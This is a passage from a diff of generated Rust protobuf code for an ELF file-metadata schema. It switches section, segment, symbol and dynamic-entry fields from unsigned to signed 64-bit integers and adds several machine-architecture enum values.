::std::option::Option::Some(is.read_enum_or_unknown()?); }, 24 => { - self.entry_point = ::std::option::Option::Some(is.read_uint64()?); + self.entry_point = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.sh_offset = ::std::option::Option::Some(is.read_uint64()?); + self.sh_offset = ::std::option::Option::Some(is.read_int64()?); }, 40 => { self.sh_entry_size = ::std::option::Option::Some(is.read_uint32()?); }, 48 => { - self.ph_offset = ::std::option::Option::Some(is.read_uint64()?); + self.ph_offset = ::std::option::Option::Some(is.read_int64()?); }, 56 => { self.ph_entry_size = ::std::option::Option::Some(is.read_uint32()?); }, 64 => { - self.number_of_sections = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_sections = ::std::option::Option::Some(is.read_int64()?); }, 72 => { - self.number_of_segments = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_segments = ::std::option::Option::Some(is.read_int64()?); }, 80 => { - self.symtab_entries = ::std::option::Option::Some(is.read_uint64()?); + self.symtab_entries = ::std::option::Option::Some(is.read_int64()?); }, 88 => { - self.dynsym_entries = ::std::option::Option::Some(is.read_uint64()?); + self.dynsym_entries = ::std::option::Option::Some(is.read_int64()?); }, 96 => { - self.dynamic_section_entries = ::std::option::Option::Some(is.read_uint64()?); + self.dynamic_section_entries = ::std::option::Option::Some(is.read_int64()?); }, 106 => { self.sections.push(is.read_message()?); @@ -548,34 +548,34 @@ impl ::protobuf::Message for ELF { my_size += ::protobuf::rt::int32_size(18, v.value()); } if let Some(v) = self.entry_point { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.sh_offset { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.sh_entry_size { my_size += ::protobuf::rt::uint32_size(5, v); } if let Some(v) = self.ph_offset { - my_size += ::protobuf::rt::uint64_size(6, v); + my_size += ::protobuf::rt::int64_size(6, v); } if let Some(v) = self.ph_entry_size { my_size += ::protobuf::rt::uint32_size(7, v); } if let Some(v) = self.number_of_sections { - my_size += ::protobuf::rt::uint64_size(8, v); + my_size += ::protobuf::rt::int64_size(8, v); } if let Some(v) = self.number_of_segments { - my_size += ::protobuf::rt::uint64_size(9, v); + my_size += ::protobuf::rt::int64_size(9, v); } if let Some(v) = self.symtab_entries { - my_size += ::protobuf::rt::uint64_size(10, v); + my_size += ::protobuf::rt::int64_size(10, v); } if let Some(v) = self.dynsym_entries { - my_size += ::protobuf::rt::uint64_size(11, v); + my_size += ::protobuf::rt::int64_size(11, v); } if let Some(v) = self.dynamic_section_entries { - my_size += ::protobuf::rt::uint64_size(12, v); + my_size += ::protobuf::rt::int64_size(12, v); } for value in &self.sections { let len = value.compute_size(); @@ -613,34 +613,34 @@ impl ::protobuf::Message for ELF { os.write_enum(18, ::protobuf::EnumOrUnknown::value(&v))?; } if let Some(v) = self.entry_point { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.sh_offset { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.sh_entry_size { os.write_uint32(5, v)?; } if let Some(v) = self.ph_offset { - os.write_uint64(6, v)?; + os.write_int64(6, v)?; } if let Some(v) = self.ph_entry_size { os.write_uint32(7, v)?; } if let Some(v) = self.number_of_sections { - os.write_uint64(8, v)?; + os.write_int64(8, v)?; } if let Some(v) = self.number_of_segments { - os.write_uint64(9, v)?; + os.write_int64(9, v)?; } if let Some(v) = self.symtab_entries { - os.write_uint64(10, v)?; + os.write_int64(10, v)?; } if let Some(v) = self.dynsym_entries { - os.write_uint64(11, v)?; + os.write_int64(11, v)?; } if let Some(v) = self.dynamic_section_entries { - os.write_uint64(12, v)?; + os.write_int64(12, v)?; } for v in &self.sections { ::protobuf::rt::write_message_field_with_cached_size(13, v, os)?; @@ -745,13 +745,13 @@ pub struct Section { // @@protoc_insertion_point(field:elf.Section.type) pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:elf.Section.flags) - pub flags: ::std::option::Option, + pub flags: ::std::option::Option, // @@protoc_insertion_point(field:elf.Section.address) - pub address: ::std::option::Option, + pub address: ::std::option::Option, // @@protoc_insertion_point(field:elf.Section.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // @@protoc_insertion_point(field:elf.Section.offset) - pub offset: ::std::option::Option, + pub offset: ::std::option::Option, // @@protoc_insertion_point(field:elf.Section.name) pub name: ::std::option::Option<::std::string::String>, // special fields @@ -792,9 +792,9 @@ impl Section { self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); } - // required uint64 flags = 2; + // required int64 flags = 2; - pub fn flags(&self) -> u64 { + pub fn flags(&self) -> i64 { self.flags.unwrap_or(0) } @@ -807,13 +807,13 @@ impl Section { } // Param is passed by value, moved - pub fn set_flags(&mut self, v: u64) { + pub fn set_flags(&mut self, v: i64) { self.flags = ::std::option::Option::Some(v); } - // required uint64 address = 3; + // required int64 address = 3; - pub fn address(&self) -> u64 { + pub fn address(&self) -> i64 { self.address.unwrap_or(0) } @@ -826,13 +826,13 @@ impl Section { } // Param is passed by value, moved - pub fn set_address(&mut self, v: u64) { + pub fn set_address(&mut self, v: i64) { self.address = ::std::option::Option::Some(v); } - // required uint64 size = 4; + // required int64 size = 4; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -845,13 +845,13 @@ impl Section { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } - // required uint64 offset = 5; + // required int64 offset = 5; - pub fn offset(&self) -> u64 { + pub fn offset(&self) -> i64 { self.offset.unwrap_or(0) } @@ -864,7 +864,7 @@ impl Section { } // Param is passed by value, moved - pub fn set_offset(&mut self, v: u64) { + pub fn set_offset(&mut self, v: i64) { self.offset = ::std::option::Option::Some(v); } @@ -974,16 +974,16 @@ impl ::protobuf::Message for Section { self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); }, 16 => { - self.flags = ::std::option::Option::Some(is.read_uint64()?); + self.flags = ::std::option::Option::Some(is.read_int64()?); }, 24 => { - self.address = ::std::option::Option::Some(is.read_uint64()?); + self.address = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, 40 => { - self.offset = ::std::option::Option::Some(is.read_uint64()?); + self.offset = ::std::option::Option::Some(is.read_int64()?); }, 50 => { self.name = ::std::option::Option::Some(is.read_string()?); @@ -1004,16 +1004,16 @@ impl ::protobuf::Message for Section { my_size += ::protobuf::rt::int32_size(1, v.value()); } if let Some(v) = self.flags { - my_size += ::protobuf::rt::uint64_size(2, v); + my_size += ::protobuf::rt::int64_size(2, v); } if let Some(v) = self.address { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.offset { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } if let Some(v) = self.name.as_ref() { my_size += ::protobuf::rt::string_size(6, &v); @@ -1028,16 +1028,16 @@ impl ::protobuf::Message for Section { os.write_enum(1, ::protobuf::EnumOrUnknown::value(&v))?; } if let Some(v) = self.flags { - os.write_uint64(2, v)?; + os.write_int64(2, v)?; } if let Some(v) = self.address { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.size { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.offset { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } if let Some(v) = self.name.as_ref() { os.write_string(6, v)?; @@ -1108,17 +1108,17 @@ pub struct Segment { // @@protoc_insertion_point(field:elf.Segment.flags) pub flags: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.offset) - pub offset: ::std::option::Option, + pub offset: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.virtual_address) - pub virtual_address: ::std::option::Option, + pub virtual_address: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.physical_address) - pub physical_address: ::std::option::Option, + pub physical_address: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.file_size) - pub file_size: ::std::option::Option, + pub file_size: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.memory_size) - pub memory_size: ::std::option::Option, + pub memory_size: ::std::option::Option, // @@protoc_insertion_point(field:elf.Segment.alignment) - pub alignment: ::std::option::Option, + pub alignment: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:elf.Segment.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -1176,9 +1176,9 @@ impl Segment { self.flags = ::std::option::Option::Some(v); } - // required uint64 offset = 3; + // required int64 offset = 3; - pub fn offset(&self) -> u64 { + pub fn offset(&self) -> i64 { self.offset.unwrap_or(0) } @@ -1191,13 +1191,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_offset(&mut self, v: u64) { + pub fn set_offset(&mut self, v: i64) { self.offset = ::std::option::Option::Some(v); } - // required uint64 virtual_address = 4; + // required int64 virtual_address = 4; - pub fn virtual_address(&self) -> u64 { + pub fn virtual_address(&self) -> i64 { self.virtual_address.unwrap_or(0) } @@ -1210,13 +1210,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_virtual_address(&mut self, v: u64) { + pub fn set_virtual_address(&mut self, v: i64) { self.virtual_address = ::std::option::Option::Some(v); } - // required uint64 physical_address = 5; + // required int64 physical_address = 5; - pub fn physical_address(&self) -> u64 { + pub fn physical_address(&self) -> i64 { self.physical_address.unwrap_or(0) } @@ -1229,13 +1229,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_physical_address(&mut self, v: u64) { + pub fn set_physical_address(&mut self, v: i64) { self.physical_address = ::std::option::Option::Some(v); } - // required uint64 file_size = 6; + // required int64 file_size = 6; - pub fn file_size(&self) -> u64 { + pub fn file_size(&self) -> i64 { self.file_size.unwrap_or(0) } @@ -1248,13 +1248,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_file_size(&mut self, v: u64) { + pub fn set_file_size(&mut self, v: i64) { self.file_size = ::std::option::Option::Some(v); } - // required uint64 memory_size = 7; + // required int64 memory_size = 7; - pub fn memory_size(&self) -> u64 { + pub fn memory_size(&self) -> i64 { self.memory_size.unwrap_or(0) } @@ -1267,13 +1267,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_memory_size(&mut self, v: u64) { + pub fn set_memory_size(&mut self, v: i64) { self.memory_size = ::std::option::Option::Some(v); } - // required uint64 alignment = 8; + // required int64 alignment = 8; - pub fn alignment(&self) -> u64 { + pub fn alignment(&self) -> i64 { self.alignment.unwrap_or(0) } @@ -1286,7 +1286,7 @@ impl Segment { } // Param is passed by value, moved - pub fn set_alignment(&mut self, v: u64) { + pub fn set_alignment(&mut self, v: i64) { self.alignment = ::std::option::Option::Some(v); } @@ -1382,22 +1382,22 @@ impl ::protobuf::Message for Segment { self.flags = ::std::option::Option::Some(is.read_uint32()?); }, 24 => { - self.offset = ::std::option::Option::Some(is.read_uint64()?); + self.offset = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.virtual_address = ::std::option::Option::Some(is.read_uint64()?); + self.virtual_address = ::std::option::Option::Some(is.read_int64()?); }, 40 => { - self.physical_address = ::std::option::Option::Some(is.read_uint64()?); + self.physical_address = ::std::option::Option::Some(is.read_int64()?); }, 48 => { - self.file_size = ::std::option::Option::Some(is.read_uint64()?); + self.file_size = ::std::option::Option::Some(is.read_int64()?); }, 56 => { - self.memory_size = ::std::option::Option::Some(is.read_uint64()?); + self.memory_size = ::std::option::Option::Some(is.read_int64()?); }, 64 => { - self.alignment = ::std::option::Option::Some(is.read_uint64()?); + self.alignment = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -1418,22 +1418,22 @@ impl ::protobuf::Message for Segment { my_size += ::protobuf::rt::uint32_size(2, v); } if let Some(v) = self.offset { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.virtual_address { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.physical_address { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } if let Some(v) = self.file_size { - my_size += ::protobuf::rt::uint64_size(6, v); + my_size += ::protobuf::rt::int64_size(6, v); } if let Some(v) = self.memory_size { - my_size += ::protobuf::rt::uint64_size(7, v); + my_size += ::protobuf::rt::int64_size(7, v); } if let Some(v) = self.alignment { - my_size += ::protobuf::rt::uint64_size(8, v); + my_size += ::protobuf::rt::int64_size(8, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -1448,22 +1448,22 @@ impl ::protobuf::Message for Segment { os.write_uint32(2, v)?; } if let Some(v) = self.offset { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.virtual_address { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.physical_address { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } if let Some(v) = self.file_size { - os.write_uint64(6, v)?; + os.write_int64(6, v)?; } if let Some(v) = self.memory_size { - os.write_uint64(7, v)?; + os.write_int64(7, v)?; } if let Some(v) = self.alignment { - os.write_uint64(8, v)?; + os.write_int64(8, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -1533,9 +1533,9 @@ pub struct Sym { // @@protoc_insertion_point(field:elf.Sym.name) pub name: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:elf.Sym.value) - pub value: ::std::option::Option, + pub value: ::std::option::Option, // @@protoc_insertion_point(field:elf.Sym.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // @@protoc_insertion_point(field:elf.Sym.type) pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:elf.Sym.bind) @@ -1596,9 +1596,9 @@ impl Sym { self.name.take().unwrap_or_else(|| ::std::string::String::new()) } - // required uint64 value = 2; + // required int64 value = 2; - pub fn value(&self) -> u64 { + pub fn value(&self) -> i64 { self.value.unwrap_or(0) } @@ -1611,13 +1611,13 @@ impl Sym { } // Param is passed by value, moved - pub fn set_value(&mut self, v: u64) { + pub fn set_value(&mut self, v: i64) { self.value = ::std::option::Option::Some(v); } - // required uint64 size = 3; + // required int64 size = 3; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -1630,7 +1630,7 @@ impl Sym { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } @@ -1797,10 +1797,10 @@ impl ::protobuf::Message for Sym { self.name = ::std::option::Option::Some(is.read_string()?); }, 16 => { - self.value = ::std::option::Option::Some(is.read_uint64()?); + self.value = ::std::option::Option::Some(is.read_int64()?); }, 24 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, 32 => { self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); @@ -1830,10 +1830,10 @@ impl ::protobuf::Message for Sym { my_size += ::protobuf::rt::string_size(1, &v); } if let Some(v) = self.value { - my_size += ::protobuf::rt::uint64_size(2, v); + my_size += ::protobuf::rt::int64_size(2, v); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.type_ { my_size += ::protobuf::rt::int32_size(4, v.value()); @@ -1857,10 +1857,10 @@ impl ::protobuf::Message for Sym { os.write_string(1, v)?; } if let Some(v) = self.value { - os.write_uint64(2, v)?; + os.write_int64(2, v)?; } if let Some(v) = self.size { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.type_ { os.write_enum(4, ::protobuf::EnumOrUnknown::value(&v))?; @@ -1940,7 +1940,7 @@ pub struct Dyn { // @@protoc_insertion_point(field:elf.Dyn.type) pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:elf.Dyn.val) - pub val: ::std::option::Option, + pub val: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:elf.Dyn.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -1979,9 +1979,9 @@ impl Dyn { self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); } - // optional uint64 val = 2; + // optional int64 val = 2; - pub fn val(&self) -> u64 { + pub fn val(&self) -> i64 { self.val.unwrap_or(0) } @@ -1994,7 +1994,7 @@ impl Dyn { } // Param is passed by value, moved - pub fn set_val(&mut self, v: u64) { + pub fn set_val(&mut self, v: i64) { self.val = ::std::option::Option::Some(v); } @@ -2033,7 +2033,7 @@ impl ::protobuf::Message for Dyn { self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); }, 16 => { - self.val = ::std::option::Option::Some(is.read_uint64()?); + self.val = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -2051,7 +2051,7 @@ impl ::protobuf::Message for Dyn { my_size += ::protobuf::rt::int32_size(1, v.value()); } if let Some(v) = self.val { - my_size += ::protobuf::rt::uint64_size(2, v); + my_size += ::protobuf::rt::int64_size(2, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -2063,7 +2063,7 @@ impl ::protobuf::Message for Dyn { os.write_enum(1, ::protobuf::EnumOrUnknown::value(&v))?; } if let Some(v) = self.val { - os.write_uint64(2, v)?; + os.write_int64(2, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -2234,16 +2234,36 @@ pub enum Machine { EM_S370 = 9, // @@protoc_insertion_point(enum_value:elf.Machine.EM_MIPS_RS3_LE) EM_MIPS_RS3_LE = 10, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_PARISC) + EM_PARISC = 15, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_SPARC32PLUS) + EM_SPARC32PLUS = 18, // @@protoc_insertion_point(enum_value:elf.Machine.EM_PPC) EM_PPC = 20, // @@protoc_insertion_point(enum_value:elf.Machine.EM_PPC64) EM_PPC64 = 21, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_S390) + EM_S390 = 22, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_MCORE) + EM_MCORE = 39, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_RCE) + EM_RCE = 65575, // @@protoc_insertion_point(enum_value:elf.Machine.EM_ARM) EM_ARM = 40, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_SH) + EM_SH = 42, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_SPARCV9) + EM_SPARCV9 = 43, // @@protoc_insertion_point(enum_value:elf.Machine.EM_X86_64) EM_X86_64 = 62, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_ARC_COMPACT) + EM_ARC_COMPACT = 93, // @@protoc_insertion_point(enum_value:elf.Machine.EM_AARCH64) EM_AARCH64 = 183, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_BPF) + EM_BPF = 247, + // @@protoc_insertion_point(enum_value:elf.Machine.EM_LOONGARCH) + EM_LOONGARCH = 258, } impl ::protobuf::Enum for Machine { @@ -2266,11 +2286,21 @@ impl ::protobuf::Enum for Machine { 8 => ::std::option::Option::Some(Machine::EM_MIPS), 9 => ::std::option::Option::Some(Machine::EM_S370), 10 => ::std::option::Option::Some(Machine::EM_MIPS_RS3_LE), + 15 => ::std::option::Option::Some(Machine::EM_PARISC), + 18 => ::std::option::Option::Some(Machine::EM_SPARC32PLUS), 20 => ::std::option::Option::Some(Machine::EM_PPC), 21 => ::std::option::Option::Some(Machine::EM_PPC64), + 22 => ::std::option::Option::Some(Machine::EM_S390), + 39 => ::std::option::Option::Some(Machine::EM_MCORE), + 65575 => ::std::option::Option::Some(Machine::EM_RCE), 40 => ::std::option::Option::Some(Machine::EM_ARM), + 42 => ::std::option::Option::Some(Machine::EM_SH), + 43 => ::std::option::Option::Some(Machine::EM_SPARCV9), 62 => ::std::option::Option::Some(Machine::EM_X86_64), + 93 => ::std::option::Option::Some(Machine::EM_ARC_COMPACT), 183 => ::std::option::Option::Some(Machine::EM_AARCH64), + 247 => ::std::option::Option::Some(Machine::EM_BPF), + 258 => ::std::option::Option::Some(Machine::EM_LOONGARCH), _ => ::std::option::Option::None } } @@ -2288,11 +2318,21 @@ impl ::protobuf::Enum for Machine { "EM_MIPS" => ::std::option::Option::Some(Machine::EM_MIPS), "EM_S370" => ::std::option::Option::Some(Machine::EM_S370), "EM_MIPS_RS3_LE" => ::std::option::Option::Some(Machine::EM_MIPS_RS3_LE), + "EM_PARISC" => ::std::option::Option::Some(Machine::EM_PARISC), + "EM_SPARC32PLUS" => ::std::option::Option::Some(Machine::EM_SPARC32PLUS), "EM_PPC" => ::std::option::Option::Some(Machine::EM_PPC), "EM_PPC64" => ::std::option::Option::Some(Machine::EM_PPC64), + "EM_S390" => ::std::option::Option::Some(Machine::EM_S390), + "EM_MCORE" => ::std::option::Option::Some(Machine::EM_MCORE), + "EM_RCE" => ::std::option::Option::Some(Machine::EM_RCE), "EM_ARM" => ::std::option::Option::Some(Machine::EM_ARM), + "EM_SH" => ::std::option::Option::Some(Machine::EM_SH), + "EM_SPARCV9" => ::std::option::Option::Some(Machine::EM_SPARCV9), "EM_X86_64" => ::std::option::Option::Some(Machine::EM_X86_64), + "EM_ARC_COMPACT" => ::std::option::Option::Some(Machine::EM_ARC_COMPACT), "EM_AARCH64" => ::std::option::Option::Some(Machine::EM_AARCH64), + "EM_BPF" => ::std::option::Option::Some(Machine::EM_BPF), + "EM_LOONGARCH" => ::std::option::Option::Some(Machine::EM_LOONGARCH), _ => ::std::option::Option::None } } @@ -2309,11 +2349,21 @@ impl ::protobuf::Enum for Machine { Machine::EM_MIPS, Machine::EM_S370, Machine::EM_MIPS_RS3_LE, + Machine::EM_PARISC, + Machine::EM_SPARC32PLUS, Machine::EM_PPC, Machine::EM_PPC64, + Machine::EM_S390, + Machine::EM_MCORE, + Machine::EM_RCE, Machine::EM_ARM, + Machine::EM_SH, + Machine::EM_SPARCV9, Machine::EM_X86_64, + Machine::EM_ARC_COMPACT, Machine::EM_AARCH64, + Machine::EM_BPF, + Machine::EM_LOONGARCH, ]; } @@ -2336,11 +2386,21 @@ impl ::protobuf::EnumFull for Machine { Machine::EM_MIPS => 8, Machine::EM_S370 => 9, Machine::EM_MIPS_RS3_LE => 10, - Machine::EM_PPC => 11, - Machine::EM_PPC64 => 12, - Machine::EM_ARM => 13, - Machine::EM_X86_64 => 14, - Machine::EM_AARCH64 => 15, + Machine::EM_PARISC => 11, + Machine::EM_SPARC32PLUS => 12, + Machine::EM_PPC => 13, + Machine::EM_PPC64 => 14, + Machine::EM_S390 => 15, + Machine::EM_MCORE => 16, + Machine::EM_RCE => 17, + Machine::EM_ARM => 18, + Machine::EM_SH => 19, + Machine::EM_SPARCV9 => 20, + Machine::EM_X86_64 => 21, + Machine::EM_ARC_COMPACT => 22, + Machine::EM_AARCH64 => 23, + Machine::EM_BPF => 24, + Machine::EM_LOONGARCH => 25, }; Self::enum_descriptor().value_by_index(index) } @@ -3443,114 +3503,118 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x04type\x18\x01\x20\x01(\x0e2\t.elf.TypeR\x04type\x12&\n\x07machine\x18\ \x02\x20\x01(\x0e2\x0c.elf.MachineR\x07machine\x12\x20\n\x05osabi\x18\ \x12\x20\x01(\x0e2\n.elf.OsAbiR\x05osabi\x12\x1f\n\x0bentry_point\x18\ - \x03\x20\x01(\x04R\nentryPoint\x12\x1b\n\tsh_offset\x18\x04\x20\x01(\x04\ + \x03\x20\x01(\x03R\nentryPoint\x12\x1b\n\tsh_offset\x18\x04\x20\x01(\x03\ R\x08shOffset\x12\"\n\rsh_entry_size\x18\x05\x20\x01(\rR\x0bshEntrySize\ - \x12\x1b\n\tph_offset\x18\x06\x20\x01(\x04R\x08phOffset\x12\"\n\rph_entr\ + \x12\x1b\n\tph_offset\x18\x06\x20\x01(\x03R\x08phOffset\x12\"\n\rph_entr\ y_size\x18\x07\x20\x01(\rR\x0bphEntrySize\x12\x80\x01\n\x12number_of_sec\ - tions\x18\x08\x20\x01(\x04R\x10numberOfSectionsBR\x82\x93\x19N2L\n\x18th\ + tions\x18\x08\x20\x01(\x03R\x10numberOfSectionsBR\x82\x93\x19N2L\n\x18th\ is\x20field\x20is\x20deprecated\x12\x20use\x20`elf.sections.len()`\x20in\ stead\x1a\x0esections.len()\x12\x80\x01\n\x12number_of_segments\x18\t\ - \x20\x01(\x04R\x10numberOfSegmentsBR\x82\x93\x19N2L\n\x18this\x20field\ + \x20\x01(\x03R\x10numberOfSegmentsBR\x82\x93\x19N2L\n\x18this\x20field\ \x20is\x20deprecated\x12\x20use\x20`elf.segments.len()`\x20instead\x1a\ - \x0esegments.len()\x12%\n\x0esymtab_entries\x18\n\x20\x01(\x04R\rsymtabE\ - ntries\x12%\n\x0edynsym_entries\x18\x0b\x20\x01(\x04R\rdynsymEntries\x12\ - 6\n\x17dynamic_section_entries\x18\x0c\x20\x01(\x04R\x15dynamicSectionEn\ + \x0esegments.len()\x12%\n\x0esymtab_entries\x18\n\x20\x01(\x03R\rsymtabE\ + ntries\x12%\n\x0edynsym_entries\x18\x0b\x20\x01(\x03R\rdynsymEntries\x12\ + 6\n\x17dynamic_section_entries\x18\x0c\x20\x01(\x03R\x15dynamicSectionEn\ tries\x12(\n\x08sections\x18\r\x20\x03(\x0b2\x0c.elf.SectionR\x08section\ s\x12(\n\x08segments\x18\x0e\x20\x03(\x0b2\x0c.elf.SegmentR\x08segments\ \x12\x20\n\x06symtab\x18\x0f\x20\x03(\x0b2\x08.elf.SymR\x06symtab\x12\ \x20\n\x06dynsym\x18\x10\x20\x03(\x0b2\x08.elf.SymR\x06dynsym\x12\"\n\ \x07dynamic\x18\x11\x20\x03(\x0b2\x08.elf.DynR\x07dynamic\"\x9f\x01\n\ \x07Section\x12$\n\x04type\x18\x01\x20\x02(\x0e2\x10.elf.SectionTypeR\ - \x04type\x12\x14\n\x05flags\x18\x02\x20\x02(\x04R\x05flags\x12\x18\n\x07\ - address\x18\x03\x20\x02(\x04R\x07address\x12\x12\n\x04size\x18\x04\x20\ - \x02(\x04R\x04size\x12\x16\n\x06offset\x18\x05\x20\x02(\x04R\x06offset\ + \x04type\x12\x14\n\x05flags\x18\x02\x20\x02(\x03R\x05flags\x12\x18\n\x07\ + address\x18\x03\x20\x02(\x03R\x07address\x12\x12\n\x04size\x18\x04\x20\ + \x02(\x03R\x04size\x12\x16\n\x06offset\x18\x05\x20\x02(\x03R\x06offset\ \x12\x12\n\x04name\x18\x06\x20\x01(\tR\x04name\"\xa7\x02\n\x07Segment\ \x12$\n\x04type\x18\x01\x20\x02(\x0e2\x10.elf.SegmentTypeR\x04type\x12.\ \n\x05flags\x18\x02\x20\x02(\rR\x05flagsB\x18\x82\x93\x19\x14*\x12flags:\ - SegmentFlags\x12\x16\n\x06offset\x18\x03\x20\x02(\x04R\x06offset\x12'\n\ - \x0fvirtual_address\x18\x04\x20\x02(\x04R\x0evirtualAddress\x12)\n\x10ph\ - ysical_address\x18\x05\x20\x02(\x04R\x0fphysicalAddress\x12\x1b\n\tfile_\ - size\x18\x06\x20\x02(\x04R\x08fileSize\x12\x1f\n\x0bmemory_size\x18\x07\ - \x20\x02(\x04R\nmemorySize\x12\x1c\n\talignment\x18\x08\x20\x02(\x04R\ta\ + SegmentFlags\x12\x16\n\x06offset\x18\x03\x20\x02(\x03R\x06offset\x12'\n\ + \x0fvirtual_address\x18\x04\x20\x02(\x03R\x0evirtualAddress\x12)\n\x10ph\ + ysical_address\x18\x05\x20\x02(\x03R\x0fphysicalAddress\x12\x1b\n\tfile_\ + size\x18\x06\x20\x02(\x03R\x08fileSize\x12\x1f\n\x0bmemory_size\x18\x07\ + \x20\x02(\x03R\nmemorySize\x12\x1c\n\talignment\x18\x08\x20\x02(\x03R\ta\ lignment\"\xd1\x01\n\x03Sym\x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04nam\ - e\x12\x14\n\x05value\x18\x02\x20\x02(\x04R\x05value\x12\x12\n\x04size\ - \x18\x03\x20\x02(\x04R\x04size\x12\x20\n\x04type\x18\x04\x20\x02(\x0e2\ + e\x12\x14\n\x05value\x18\x02\x20\x02(\x03R\x05value\x12\x12\n\x04size\ + \x18\x03\x20\x02(\x03R\x04size\x12\x20\n\x04type\x18\x04\x20\x02(\x0e2\ \x0c.elf.SymTypeR\x04type\x12\x20\n\x04bind\x18\x05\x20\x02(\x0e2\x0c.el\ f.SymBindR\x04bind\x12\x14\n\x05shndx\x18\x06\x20\x02(\rR\x05shndx\x122\ \n\nvisibility\x18\x07\x20\x02(\x0e2\x12.elf.SymVisibilityR\nvisibility\ \"9\n\x03Dyn\x12\x20\n\x04type\x18\x01\x20\x01(\x0e2\x0c.elf.DynTypeR\ - \x04type\x12\x10\n\x03val\x18\x02\x20\x01(\x04R\x03val*n\n\x04Type\x12\ + \x04type\x12\x10\n\x03val\x18\x02\x20\x01(\x03R\x03val*n\n\x04Type\x12\ 